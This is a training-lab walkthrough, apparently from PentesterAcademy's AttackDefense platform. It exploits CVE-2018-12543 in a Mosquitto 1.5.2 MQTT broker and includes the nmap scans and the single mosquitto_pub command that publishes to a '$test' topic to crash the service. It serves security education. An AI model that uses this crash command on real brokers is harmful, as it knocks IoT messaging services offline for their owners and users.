
ATTACK
DEFENSE
by PentesterAcademy

Name	CVE-2018-12543
URL	https://www.attackdefense.com/challengedetails?cid=571
Type	IoT : MQTT

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

CVE Description:
The Mosquitto service running on the target machine is vulnerable. Due to the vulnerability, if it receives a message which has topic name starting with $, but not with $SYS, an assert is triggered. This causes the Mosquitto service to exit.

Objective: Perform the attack and terminate the Mosquitto service running on the remote machine.

Solution:

Step 1: Check the IP address of our Kali machine.

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
16683: eth0@if16684: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
16686: eth1@if16687: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:0f:5c:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.15.92.2/24 brd 192.15.92.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Scan the target machine using nmap.

Command: nmap -sS -sV -p 1883 192.15.92.3

```
root@attackdefense:~# nmap -sS -sV -p 1883 192.15.92.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 04:20 UTC
Nmap scan report for yjlnln1doir9j2ltm9hyj5tj9.temp-network_a-15-92 (192.15.92.3)
Host is up (0.00011s latency).

PORT     STATE SERVICE                VERSION
1883/tcp open  mosquitto version 1.5.2
MAC Address: 02:42:C0:0F:5C:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
root@attackdefense:~#
```

Step 3: It is clear from scan results that the Mosquitto 1.5.2 broker is running on the target machine. To exploit, publish a message which has a topic starts with $ i.e $test

Command: mosquitto_pub -h 192.15.92.3 -t '$test' -m test

```
root@attackdefense:~# mosquitto_pub -h 192.15.92.3 -t '$test' -m test
```

Step 4: On trying to send the same message again, the connection will be refused.

Command: mosquitto_pub -h 192.15.92.3 -t '$test' -m test

```
root@attackdefense:~# mosquitto_pub -h 192.15.92.3 -t '$test' -m test
Error: Connection refused
root@attackdefense:~#
```

Step 5: Verify it by running the nmap scan again to check the open port of mosquitto server.

Command: nmap -sS -sV -p 1883 192.15.92.3

```
root@attackdefense:~# nmap -sS -sV -p 1883 192.15.92.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 04:25 UTC
Nmap scan report for yjlnln1doir9j2ltm9hyj5tj9.temp-network_a-15-92 (192.15.92.3)
Host is up (0.000088s latency).

PORT     STATE  SERVICE VERSION
1883/tcp closed mqtt
MAC Address: 02:42:C0:0F:5C:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
root@attackdefense:~#
```

As expected the port is closed which means that the server has been shutdown.